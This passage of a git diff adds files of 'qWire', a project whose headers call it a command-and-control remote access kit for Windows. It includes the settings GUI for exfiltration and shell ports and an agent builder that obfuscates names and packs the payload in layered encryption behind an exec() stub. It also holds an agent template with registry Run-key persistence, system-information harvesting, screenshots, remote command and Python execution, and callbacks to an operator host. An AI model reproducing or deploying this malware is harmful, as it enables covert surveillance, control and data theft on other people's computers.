/dev/null and b/core/Qt5/img/main_window_icon.png differ diff --git a/core/Qt5/img/msf_icon.png b/core/Qt5/img/msf_icon.png new file mode 100644 index 0000000..af11ab4 Binary files /dev/null and b/core/Qt5/img/msf_icon.png differ diff --git a/core/Qt5/img/networking_icon.png b/core/Qt5/img/networking_icon.png new file mode 100644 index 0000000..244bec0 Binary files /dev/null and b/core/Qt5/img/networking_icon.png differ diff --git a/core/Qt5/img/nic_icon.png b/core/Qt5/img/nic_icon.png new file mode 100644 index 0000000..42a24b0 Binary files /dev/null and b/core/Qt5/img/nic_icon.png differ diff --git a/core/Qt5/img/ping_icon.png b/core/Qt5/img/ping_icon.png new file mode 100644 index 0000000..80d563d Binary files /dev/null and b/core/Qt5/img/ping_icon.png differ diff --git a/core/Qt5/img/powershell_icon.png b/core/Qt5/img/powershell_icon.png new file mode 100644 index 0000000..18ada17 Binary files /dev/null and b/core/Qt5/img/powershell_icon.png differ diff --git a/core/Qt5/img/python_icon.png b/core/Qt5/img/python_icon.png new file mode 100644 index 0000000..b7111bf Binary files /dev/null and b/core/Qt5/img/python_icon.png differ diff --git a/core/Qt5/img/qWire_info.png b/core/Qt5/img/qWire_info.png new file mode 100755 index 0000000..4f0e7bb Binary files /dev/null and b/core/Qt5/img/qWire_info.png differ diff --git a/core/Qt5/img/qWire_logo.png b/core/Qt5/img/qWire_logo.png new file mode 100644 index 0000000..dc871b5 Binary files /dev/null and b/core/Qt5/img/qWire_logo.png differ diff --git a/core/Qt5/img/reconnect_icon.png b/core/Qt5/img/reconnect_icon.png new file mode 100644 index 0000000..f1719c2 Binary files /dev/null and b/core/Qt5/img/reconnect_icon.png differ diff --git a/core/Qt5/img/satellite_icon.png b/core/Qt5/img/satellite_icon.png new file mode 100644 index 0000000..3182f46 Binary files /dev/null and b/core/Qt5/img/satellite_icon.png differ diff --git a/core/Qt5/img/satellite_win_icon.png b/core/Qt5/img/satellite_win_icon.png new file mode 100644 index 0000000..0751175 Binary files /dev/null and b/core/Qt5/img/satellite_win_icon.png differ diff --git a/core/Qt5/img/screenshot_icon.png b/core/Qt5/img/screenshot_icon.png new file mode 100644 index 0000000..828c998 Binary files /dev/null and b/core/Qt5/img/screenshot_icon.png differ diff --git a/core/Qt5/img/settings_background.jpg b/core/Qt5/img/settings_background.jpg new file mode 100644 index 0000000..a33c1d2 Binary files /dev/null and b/core/Qt5/img/settings_background.jpg differ diff --git a/core/Qt5/img/settings_background.png b/core/Qt5/img/settings_background.png new file mode 100644 index 0000000..3adec4d Binary files /dev/null and b/core/Qt5/img/settings_background.png differ diff --git a/core/Qt5/img/settings_icon.png b/core/Qt5/img/settings_icon.png new file mode 100644 index 0000000..c9346e9 Binary files /dev/null and b/core/Qt5/img/settings_icon.png differ diff --git a/core/Qt5/img/shells_icon.png b/core/Qt5/img/shells_icon.png new file mode 100644 index 0000000..9981a51 Binary files /dev/null and b/core/Qt5/img/shells_icon.png differ diff --git a/core/Qt5/img/shutdown_icon.png b/core/Qt5/img/shutdown_icon.png new file mode 100644 index 0000000..6427de8 Binary files /dev/null and b/core/Qt5/img/shutdown_icon.png differ diff --git a/core/Qt5/img/socket_icon.png b/core/Qt5/img/socket_icon.png new file mode 100644 index 0000000..294cf90 Binary files /dev/null and b/core/Qt5/img/socket_icon.png differ diff --git a/core/Qt5/img/spinning_globe.gif b/core/Qt5/img/spinning_globe.gif new file mode 100755 index 0000000..1933eb8 Binary files /dev/null and b/core/Qt5/img/spinning_globe.gif differ diff --git a/core/Qt5/img/surveillance_icon.png b/core/Qt5/img/surveillance_icon.png new file mode 100644 index 0000000..b3b2b0b Binary files /dev/null and b/core/Qt5/img/surveillance_icon.png differ diff --git a/core/Qt5/img/sync_icon.png b/core/Qt5/img/sync_icon.png new file mode 100644 index 0000000..8740419 Binary files /dev/null and b/core/Qt5/img/sync_icon.png differ diff --git a/core/Qt5/info_window.py b/core/Qt5/info_window.py new file mode 100644 index 0000000..eda25b9 --- /dev/null +++ b/core/Qt5/info_window.py @@ -0,0 +1,33 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..utils.file_paths import BGPath +from ..Qt5.icons import IconObj +from PyQt5 import QtCore + +class Ui_information_window(object): + def setupUi(self, information_window): + information_window.setObjectName("information_window") + information_window.setWindowIcon(IconObj().main_window_icon) + information_window.resize(628, 327) + information_window.setStyleSheet(f"background-image: url({BGPath().qWire_info_bg});") + + self.retranslateUi(information_window) + QtCore.QMetaObject.connectSlotsByName(information_window) + + def retranslateUi(self, information_window): + _translate = QtCore.QCoreApplication.translate + information_window.setWindowTitle(_translate("information_window", "qWire Information")) + + diff --git a/core/Qt5/screenshot_window.py b/core/Qt5/screenshot_window.py new file mode 100644 index 0000000..e14c704 --- /dev/null +++ b/core/Qt5/screenshot_window.py @@ -0,0 +1,38 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from PyQt5 import QtCore +from ..utils.file_paths import DSFilePath +from ..Qt5.icons import IconObj +from PIL import Image + +class Ui_screenshot_window(object): + + #Function will get the size of the screenshot to define the borders of the window + def get_image_size(self): + image = Image.open(DSFilePath().streaming_frame) #Create image object + self.width, self.height = image.size #Capture width and height of image object + + def setupUi(self, Dialog): + Dialog.setObjectName("ss_window") + Dialog.setWindowIcon(IconObj().screenshot_icon) + self.get_image_size() + Dialog.resize(self.width,self.height) + Dialog.setStyleSheet(f"background-image: url({DSFilePath().streaming_frame});") + self.retranslateUi(Dialog) + QtCore.QMetaObject.connectSlotsByName(Dialog) + + def retranslateUi(self, Dialog): + _translate = QtCore.QCoreApplication.translate + Dialog.setWindowTitle(_translate("ss_window", "Screenshot")) diff --git a/core/Qt5/settings_window.py b/core/Qt5/settings_window.py new file mode 100644 index 0000000..16963ce --- /dev/null +++ b/core/Qt5/settings_window.py @@ -0,0 +1,181 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from PyQt5 import QtCore, QtGui, QtWidgets +from ..logging.logging import ConsoleWindow +from ..Qt5.duck_dns_token_window import Ui_dns_token_window +from ..Qt5.domains_window import Ui_domains_window +from ..Qt5.icons import IconObj +from ..utils.utils import Validation,Notifications +from ..utils.file_paths import BGPath +from ..logging.logging import NetworkingConfigs,DNSconfigs +from ..networking.IP_Handler import NicHandler + +class Ui_settings_window(object): + + #Function will change the stream port + def change_stream_port(self): + port = self.stream_port_input.text() #Get port + if Validation().Validate_port_number(port): #if the port is valid + NetworkingConfigs().write_stream_port(port) #write the port + Notifications().raise_notification(f'Updated streaming port to {port}','Success') #Notify the user + + #Function will change the exfiltration port + def change_exfil_port(self): + port = self.exfil_port_input.text() #Get port + if Validation().Validate_port_number(port): #If the port is valid + NetworkingConfigs().write_exfil_port(port) #Write the port + Notifications().raise_notification(f'Updated exfiltration port to {port}','Success') #Notify user + + #Function will validate given port and write it to the file if the function returns true + def change_shell_port(self): + port = self.shell_port_input.text() #Get the text in the box + if Validation().Validate_port_number(port): #Validate it. If port is valid + NetworkingConfigs().write_shell_lport(port) #write the port + Notifications().raise_notification(f'Updated shell port to {port}','Success') #Notify user + + #Function will change the shell domain + def change_host_domain(self): + host = NicHandler().validate_host(self.host_combobox.currentText())#Get the current text from domain combo box + DNSconfigs().write_shell_domain(host) #Write the domain to the shell config file + Notifications().raise_notification(f'Updated shell host to {host}','Success') #Inform user + + #Function will change the network interface that the server operates on + def change_network_interface(self): + interface = self.nic_combo_box.currentText() #Retrieve interface + NetworkingConfigs().write_network_interface(interface) #Write interface to the config file + Notifications().raise_notification(f'Updated network interface to {interface}','Success') #Notify user + + def open_new_window(self,UI): + self.window = QtWidgets.QDialog() + self.ui = UI() + self.ui.setupUi(self.window) + self.window.show() + + def setupUi(self, settings_window): + settings_window.setObjectName("settings_window") + settings_window.resize(528, 464) + settings_window.setWindowIcon(IconObj().settings_icon) + self.settings_tabs = QtWidgets.QTabWidget(settings_window) + self.settings_tabs.setGeometry(QtCore.QRect(10, 10, 511, 441)) + self.settings_tabs.setAutoFillBackground(True) + self.settings_tabs.setStyleSheet(f"background-image: url({BGPath().settings_window_bg});") + self.settings_tabs.setObjectName("settings_tabs") + self.logging_tab = QtWidgets.QWidget() + self.logging_tab.setObjectName("logging_tab") + self.clear_logs_button = QtWidgets.QPushButton(self.logging_tab, clicked=lambda: ConsoleWindow().clear_console_logs()) + self.clear_logs_button.setGeometry(QtCore.QRect(10, 10, 151, 31)) + self.clear_logs_button.setObjectName("clear_logs_button") + self.settings_tabs.addTab(self.logging_tab, "") + self.networking_tab = QtWidgets.QWidget() + self.networking_tab.setObjectName("networking_tab") + self.domain_group_box = QtWidgets.QGroupBox(self.networking_tab) + self.domain_group_box.setGeometry(QtCore.QRect(10, 10, 121, 91)) + self.domain_group_box.setObjectName("domain_group_box") + self.add_domain_button = QtWidgets.QPushButton(self.domain_group_box,clicked=lambda: self.open_new_window(Ui_domains_window)) + self.add_domain_button.setGeometry(QtCore.QRect(10, 30, 100, 21)) + self.add_domain_button.setObjectName("add_domain_button") + self.dns_token_button = QtWidgets.QPushButton(self.domain_group_box,clicked=lambda: self.open_new_window(Ui_dns_token_window)) + self.dns_token_button.setGeometry(QtCore.QRect(10, 50, 100, 21)) + self.dns_token_button.setObjectName("dns_token_button") + self.NIC_groupbox = QtWidgets.QGroupBox(self.networking_tab) + self.NIC_groupbox.setGeometry(QtCore.QRect(140, 10, 171, 61)) + self.NIC_groupbox.setObjectName("NIC_groupbox") + self.nic_combo_box = QtWidgets.QComboBox(self.NIC_groupbox) + self.nic_combo_box.setGeometry(QtCore.QRect(90, 30, 81, 21)) + self.nic_combo_box.setObjectName("nic_combo_box") + for interface in NicHandler().get_all_interfaces(): + self.nic_combo_box.addItem(interface) + self.nic_combo_box.setCurrentText(NetworkingConfigs().retrieve_network_interface()) + self.update_nic_button = QtWidgets.QPushButton(self.NIC_groupbox,clicked=lambda: self.change_network_interface()) + self.update_nic_button.setGeometry(QtCore.QRect(5, 30, 71, 21)) + self.update_nic_button.setObjectName("update_nic_button") + self.exfil_port_groupbox = QtWidgets.QGroupBox(self.networking_tab) + self.exfil_port_groupbox.setGeometry(QtCore.QRect(320, 10, 181, 80)) + self.exfil_port_groupbox.setObjectName("exfil_port_groupbox") + self.exfil_port_input = QtWidgets.QLineEdit(self.exfil_port_groupbox) + self.exfil_port_input.setGeometry(QtCore.QRect(90, 30, 81, 33)) + self.exfil_port_input.setObjectName("exfil_port_input") + self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port()) + self.exfil_update_button = QtWidgets.QPushButton(self.exfil_port_groupbox,clicked=lambda: self.change_exfil_port()) + self.exfil_update_button.setGeometry(QtCore.QRect(10, 40, 61, 21)) + self.exfil_update_button.setObjectName("exfil_update_button") + self.stream_port_groupbox = QtWidgets.QGroupBox(self.networking_tab) + self.stream_port_groupbox.setGeometry(QtCore.QRect(320, 100, 181, 80)) + self.stream_port_groupbox.setObjectName("stream_port_groupbox") + self.stream_port_input = QtWidgets.QLineEdit(self.stream_port_groupbox) + self.stream_port_input.setGeometry(QtCore.QRect(90, 30, 81, 33)) + self.stream_port_input.setObjectName("stream_port_input") + self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port()) + self.stream_update_button = QtWidgets.QPushButton(self.stream_port_groupbox,clicked=lambda: self.change_stream_port()) + self.stream_update_button.setGeometry(QtCore.QRect(10, 40, 61, 21)) + self.stream_update_button.setObjectName("stream_update_button") + self.settings_tabs.addTab(self.networking_tab, "") + self.client_handler_tab = QtWidgets.QWidget() + self.client_handler_tab.setObjectName("client_handler_tab") + self.shells_group_box = QtWidgets.QGroupBox(self.client_handler_tab) + self.shells_group_box.setGeometry(QtCore.QRect(10, 10, 241, 111)) + self.shells_group_box.setObjectName("shells_group_box") + self.host_combobox = QtWidgets.QComboBox(self.shells_group_box) + self.host_combobox.setGeometry(QtCore.QRect(90, 30, 151, 27)) + self.host_combobox.setStyleSheet("") + self.host_combobox.setObjectName("domain_combobox") + for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file + self.host_combobox.addItem(domain) #add domain to dropdown menu + self.host_combobox.addItem('Local IP') + self.host_combobox.addItem('Public IP') + self.host_combobox.setCurrentText(DNSconfigs().retrieve_domain_for_shell()) + self.host_button = QtWidgets.QPushButton(self.shells_group_box, clicked=lambda: self.change_host_domain()) + self.host_button.setGeometry(QtCore.QRect(10, 30, 71, 21)) + font = QtGui.QFont() + font.setPointSize(13) + self.host_button.setFont(font) + self.host_button.setObjectName("host_label") + self.port_button = QtWidgets.QPushButton(self.shells_group_box,clicked=lambda: self.change_shell_port()) + self.port_button.setGeometry(QtCore.QRect(10, 80, 71, 21)) + font = QtGui.QFont() + font.setPointSize(13) + self.port_button.setFont(font) + self.port_button.setObjectName("port_label") + self.shell_port_input = QtWidgets.QLineEdit(self.shells_group_box) + self.shell_port_input.setGeometry(QtCore.QRect(90, 70, 151, 33)) + self.shell_port_input.setObjectName("shell_port_input") + self.settings_tabs.addTab(self.client_handler_tab, "") + self.retranslateUi(settings_window) + self.settings_tabs.setCurrentIndex(0) #Pick which tab to open the settings window on + QtCore.QMetaObject.connectSlotsByName(settings_window) + + def retranslateUi(self, settings_window): + _translate = QtCore.QCoreApplication.translate + settings_window.setWindowTitle(_translate("settings_window", "qWire Settings")) + self.clear_logs_button.setText(_translate("settings_window", "Clear Console Logs")) + self.settings_tabs.setTabText(self.settings_tabs.indexOf(self.logging_tab), + _translate("settings_window", "Logging")) + self.domain_group_box.setTitle(_translate("settings_window", " Domain Handler")) + self.add_domain_button.setText(_translate("settings_window", "Domains")) + self.dns_token_button.setText(_translate("settings_window", "Dns Token")) + self.NIC_groupbox.setTitle(_translate("settings_window", "Network Interface")) + self.update_nic_button.setText(_translate("settings_window", "Update")) + self.exfil_port_groupbox.setTitle(_translate("settings_window", "Exfiltration Port")) + self.exfil_update_button.setText(_translate("settings_window", "Update")) + self.stream_port_groupbox.setTitle(_translate("settings_window", "Stream Port")) + self.stream_update_button.setText(_translate("settings_window", "Update")) + self.settings_tabs.setTabText(self.settings_tabs.indexOf(self.networking_tab), + _translate("settings_window", "Networking")) + self.shells_group_box.setTitle(_translate("settings_window", " Shell Settings")) + self.host_button.setText(_translate("settings_window", " Host")) + self.port_button.setText(_translate("settings_window", " Port")) + self.settings_tabs.setTabText(self.settings_tabs.indexOf(self.client_handler_tab), + _translate("settings_window", "Client Handling")) + self.shell_port_input.setText(_translate("settings_window",NetworkingConfigs().retrieve_shell_lport())) diff --git a/core/Qt5/sysinfo_window.py b/core/Qt5/sysinfo_window.py new file mode 100644 index 0000000..eef0868 --- /dev/null +++ b/core/Qt5/sysinfo_window.py @@ -0,0 +1,45 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from PyQt5 import QtCore, QtWidgets, Qt +from ..Qt5.icons import IconObj +from..utils.file_paths import DSFilePath +from ..logging.logging import LoggingUtilitys +from os import remove + +class Ui_host_info_window(object): + def setupUi(self, host_information_window): + host_information_window.setObjectName("host_information_window") + host_information_window.resize(916, 712) + host_information_window.setStyleSheet(f"background-color:blue;") + host_information_window.setWindowIcon(IconObj().system_icon) + self.host_info_list = QtWidgets.QListWidget(host_information_window) + self.host_info_list.setGeometry(QtCore.QRect(0, 0, 921, 711)) + self.host_info_list.setObjectName("host_info_list") + self.display_system_info() + self.retranslateUi(host_information_window) + QtCore.QMetaObject.connectSlotsByName(host_information_window) + + def retranslateUi(self, host_information_window): + _translate = QtCore.QCoreApplication.translate + host_information_window.setWindowTitle(_translate("host_information_window", "Host Information")) + remove(DSFilePath().sys_info_file) + + #Function will display the system info extracted from agent in gui + def display_system_info(self): + system_info = LoggingUtilitys().retrieve_file_data(DSFilePath().sys_info_file) #Get the sys info file written from the client + for line in system_info.split('\n'): + new_item = QtWidgets.QListWidgetItem(line) #Create item object + new_item.setBackground(Qt.Qt.transparent) #Make background transparent + self.host_info_list.addItem(new_item) #Append the item diff --git a/core/builder/agent_builder.py b/core/builder/agent_builder.py new file mode 100644 index 0000000..a878246 --- /dev/null +++ b/core/builder/agent_builder.py @@ -0,0 +1,80 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..builder.stub import QWireAgent +from ..builder.encryption import Scrambler,Crypter +from ..utils.file_paths import BuilderPath +from ..utils.utils import Validation,Notifications +from ..logging.logging import LoggingUtilitys + +class AgentWriter(): + + #Function will write the raw agent source code with the variables, classes, functions scrambled and return the build path + def write_raw_agent_script(self,server_port,stream_port,exfil_port,domain_name,file_name,reg_key,persistence_option): + port_array = [server_port,stream_port,exfil_port] #Array for ports + for port in port_array: #For each port in the array + #print(port) + if Validation().Validate_port_number(port) == False: #If the port is false + return #Return to the calling function and dont run the rest of the code + if Validation().validate_extention(file_name,'py') == False:#If the file name does not have the .py extention, + file_name = f'{file_name}.py' #append the .py exntention + raw_agent_code = QWireAgent().generate_agent_code(server_port, stream_port, exfil_port, domain_name, reg_key, persistence_option) #Get the raw agent code + build_path = f'{BuilderPath().raw_script_dir}/{file_name}' #Get the build path + LoggingUtilitys().write_data_to_file(build_path,raw_agent_code) #Write the data to the file + return build_path #Return the build path + +class Builder(): + + #Function will create a new stub for encrypting a file + def create_new_stub(self,key, encrypted_data, input_file): + key_scrambled = Scrambler().scrambleVar(32) + fernet_scrambled = Scrambler().scrambleVar(32) + decrypter_scrambled = Scrambler().scrambleVar(32) + crypted_data_scrambled = Scrambler().scrambleVar(32) + decrypted_data = Scrambler().scrambleVar(32) + decrypter_code = f""" +from cryptography.fernet import Fernet as {fernet_scrambled} +{key_scrambled} = {key} +{decrypter_scrambled} = {fernet_scrambled}({key_scrambled}) +{crypted_data_scrambled} = {encrypted_data} +{decrypted_data} = {decrypter_scrambled}.decrypt({crypted_data_scrambled}) +exec({decrypted_data}) + """ + LoggingUtilitys().write_data_to_file(input_file, decrypter_code) + + #Function will iterate encryption scheme for further obfuscation + def aes_128_encryption(self,output_file): + crypter = Crypter() #Store crypter object in var + for round in range(5): #Inititiate 5 rounds of encryption + crypter.encrypt_file(output_file) #Encrypt file + self.create_new_stub(crypter.key,crypter.encrypted_data,output_file) #Write new stub with encrypted data + + #Function will create agent based on options received from builder gui + def create_agent(self, + server_port, + stream_port, + exfil_port, + domain_name, + file_name, + reg_key, + persistence_option, + encryption_option): + + crypter = Crypter() #Store crypter object in var + build_path = AgentWriter().write_raw_agent_script(server_port,stream_port,exfil_port,domain_name,file_name,reg_key,persistence_option) #Write initial agent and get the build path + if encryption_option == True: #If encryption opt was selected + crypter.encrypt_file(build_path) #Encrypt the file, + self.create_new_stub(crypter.key,crypter.encrypted_data,f"{build_path}") #Create a new stub + self.aes_128_encryption(build_path) #Call the iterator + Notifications().raise_notification(f'Successfully created stub.\nLocation: {build_path}', 'Success') #Notify user \ No newline at end of file diff --git a/core/builder/encryption.py b/core/builder/encryption.py new file mode 100644 index 0000000..1673f71 --- /dev/null +++ b/core/builder/encryption.py @@ -0,0 +1,44 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import string +import random +from cryptography.fernet import Fernet +from ..logging.logging import LoggingUtilitys + +class Scrambler: + + #Function will return a scrambled string with the len passwed as parameter + def scrambleVar(self,int_var_length): + random_chars = string.ascii_letters #Get random letters + scrambled_chars = (''.join(random.choice(random_chars) for i in range(1, int(int_var_length)))) #Join them + return scrambled_chars #Return scrambled var string + +class Crypter: + + #Function generates and returns key + def generate_key(self): + key = Fernet.generate_key() #generate key + return key #Return value + + #Function will encrypt a file, return the encrypted data and the key + def encrypt_file(self,input_file): + self.key = self.generate_key() #Get a key + crypter_obj = Fernet(self.key) #Create crypter object + self.encrypted_data = crypter_obj.encrypt( + LoggingUtilitys().retrieve_file_data(input_file).encode() #Encrypt the file data read from the input file + ) + return self.encrypted_data, self.key #Returnt the encrypted data and the encryption key + + diff --git a/core/builder/stub.py b/core/builder/stub.py new file mode 100644 index 0000000..2b49aa6 --- /dev/null +++ b/core/builder/stub.py @@ -0,0 +1,359 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..builder.encryption import Scrambler + +class Persistance: + #Function will check the persistence option and return code for the pre-defined function + def registry_start_up(self,registry_key,path_variable,option): + if option == None: #If the option is none + code = 'pass' #Make the function pass when the client executes it + elif option == 'reg/run': #If the persistence option is a run key, + code = f"subprocess.run(f'reg add \"{registry_key}\" /v DCOM /t REG_SZ /d \"{{{path_variable}}}\" /f',shell=True)" #Generate code for the key + return code #Return the code + + +class QWireAgent(): + + #Function will generate the initial agent code with settings from the builer and obfuscated variables + def generate_agent_code(self, server_port, stream_port, exfil_port, domain_name, function_name, persistence_option): + SEP = Scrambler().scrambleVar(20) + BUFFER = Scrambler().scrambleVar(20) + SERV_PORT = Scrambler().scrambleVar(20) + EXFIL_PORT = Scrambler().scrambleVar(20) + STRM_PORT = Scrambler().scrambleVar(20) + MultiProcessor = Scrambler().scrambleVar(20) + start_child_thread = Scrambler().scrambleVar(20) + function = Scrambler().scrambleVar(20) + process = Scrambler().scrambleVar(20) + start_child_thread_arg = Scrambler().scrambleVar(20) + arg = Scrambler().scrambleVar(20) + Utilitys = Scrambler().scrambleVar(20) + get_windows_version = Scrambler().scrambleVar(20) + command = Scrambler().scrambleVar(20) + version_output = Scrambler().scrambleVar(20) + get_local_ip = Scrambler().scrambleVar(20) + local_ip = Scrambler().scrambleVar(20) + check_process_privilege = Scrambler().scrambleVar(20) + convert_string_to_bytes = Scrambler().scrambleVar(20) + string = Scrambler().scrambleVar(20) + string_to_bytes = Scrambler().scrambleVar(20) + extract_sys_ip_info = Scrambler().scrambleVar(20) + system_info = Scrambler().scrambleVar(20) + sysinfo_output = Scrambler().scrambleVar(20) + ip_config = Scrambler().scrambleVar(20) + ip_config_output = Scrambler().scrambleVar(20) + extracted_info = Scrambler().scrambleVar(20) + SystemManager = Scrambler().scrambleVar(20) + blue_screen = Scrambler().scrambleVar(20) + Encryption = Scrambler().scrambleVar(20) + encrypt_packet = Scrambler().scrambleVar(20) + data_to_encrypt = Scrambler().scrambleVar(20) + MASTER_KEY = Scrambler().scrambleVar(20) + encoded_data = Scrambler().scrambleVar(20) + encryption_object = Scrambler().scrambleVar(20) + encrypted_data = Scrambler().scrambleVar(20) + decrypt_packet = Scrambler().scrambleVar(20) + data_to_decrypt = Scrambler().scrambleVar(20) + decryption_object = Scrambler().scrambleVar(20) + plaintext = Scrambler().scrambleVar(20) + decrypted_data = Scrambler().scrambleVar(20) + ClientSocket = Scrambler().scrambleVar(20) + heartbeat = Scrambler().scrambleVar(20) + disconnect = Scrambler().scrambleVar(20) + stream_desktop = Scrambler().scrambleVar(20) + shutdown_computer = Scrambler().scrambleVar(20) + restart_computer = Scrambler().scrambleVar(20) + sys_info_exfil = Scrambler().scrambleVar(20) + screenshot = Scrambler().scrambleVar(20) + ping_server = Scrambler().scrambleVar(20) + reconnect_to_server = Scrambler().scrambleVar(20) + system_command = Scrambler().scrambleVar(20) + python_flag = Scrambler().scrambleVar(20) + env_var = Scrambler().scrambleVar(20) + dns_address = Scrambler().scrambleVar(20) + initiate_handshake = Scrambler().scrambleVar(20) + connect_to_server = Scrambler().scrambleVar(20) + client_socket = Scrambler().scrambleVar(20) + domain = Scrambler().scrambleVar(20) + start_echo = Scrambler().scrambleVar(20) + main = Scrambler().scrambleVar(20) + complete_handshake = Scrambler().scrambleVar(20) + information_array = Scrambler().scrambleVar(20) + windows_version = Scrambler().scrambleVar(20) + privilege = Scrambler().scrambleVar(20) + current_user = Scrambler().scrambleVar(20) + operating_system = Scrambler().scrambleVar(20) + extract_information = Scrambler().scrambleVar(20) + b64_encoded_key = Scrambler().scrambleVar(20) + negotiate_encryption = Scrambler().scrambleVar(20) + system_name = Scrambler().scrambleVar(20) + exfil_socket_send = Scrambler().scrambleVar(20) + ExfilSocket = Scrambler().scrambleVar(20) + execute_system_command = Scrambler().scrambleVar(20) + execute_python_code = Scrambler().scrambleVar(20) + CodeExecution = Scrambler().scrambleVar(20) + action_flag = Scrambler().scrambleVar(20) + receive_server_command = Scrambler().scrambleVar(20) + server_command = Scrambler().scrambleVar(20) + data = Scrambler().scrambleVar(20) + plain_text_data = Scrambler().scrambleVar(20) + partial_data = Scrambler().scrambleVar(20) + bytes_data = Scrambler().scrambleVar(20) + data_to_send = Scrambler().scrambleVar(20) + send_data_to_server = Scrambler().scrambleVar(20) + recv_all_data = Scrambler().scrambleVar(20) + exfil_socket = Scrambler().scrambleVar(20) + exfil_data = Scrambler().scrambleVar(20) + screen_cap = Scrambler().scrambleVar(20) + take_screenshot = Scrambler().scrambleVar(20) + image_file_path = Scrambler().scrambleVar(20) + StreamSocket = Scrambler().scrambleVar(20) + image_data = Scrambler().scrambleVar(20) + image_file = Scrambler().scrambleVar(20) + exec_ = Scrambler().scrambleVar(20) + error = Scrambler().scrambleVar(20) + ip_address = Scrambler().scrambleVar(20) + python_code = Scrambler().scrambleVar(20) + CURRENT_DIR = Scrambler().scrambleVar(20) + persistence_mechanism = Scrambler().scrambleVar(20) + code = Persistance().registry_start_up( + function_name,CURRENT_DIR,persistence_option + ) + agent_source = f""" +import socket as socket +import base64 as base64 +import ctypes as ctypes +import platform as platform +import os as os +import subprocess as subprocess +import threading as threading +import struct as struct +from PIL import ImageGrab as ImageGrab +from time import sleep as sleep +from cryptography.fernet import Fernet +{SEP} = '' +{BUFFER} = 4096 +{SERV_PORT} = {server_port} +{EXFIL_PORT} = {exfil_port} +{STRM_PORT} = {stream_port} +{CURRENT_DIR} = f"{{os.getcwd()}}\\\\{{os.path.basename(__file__)}}" +class {MultiProcessor}: + def {start_child_thread}(self,{function}): + {process} = threading.Thread(target={function}) + {process}.daemon = True + {process}.start() + def {start_child_thread_arg}(self,{function},{arg}): + {arg} = [{arg}] + {process} = threading.Thread(target={function},args={arg}) + {process}.daemon = True + {process}.start() +class {Utilitys}: + def {get_windows_version}(self): + {command} = subprocess.Popen(['powershell', '(Get-WmiObject -class Win32_OperatingSystem).Version'],stdout=subprocess.PIPE) + {version_output} = {command}.stdout.read().decode() + {version_output} = {version_output}.replace('\\n','') + return {version_output}.strip('\\r') + def {get_local_ip}(self): + {local_ip} = socket.gethostbyname(socket.gethostname()) + return {local_ip} + def {check_process_privilege}(self): + if ctypes.windll.shell32.IsUserAnAdmin(): + return "Administrator" + else: + return "User" + def {persistence_mechanism}(self): + {code} + def {convert_string_to_bytes}(self, {string}): + {string_to_bytes} = str({string}).encode() + return {string_to_bytes} + def {extract_sys_ip_info}(self): + {system_info} = subprocess.Popen('systeminfo', stdout=subprocess.PIPE) + {sysinfo_output} = {system_info}.stdout.read().decode() + {ip_config} = subprocess.Popen('ipconfig /all', 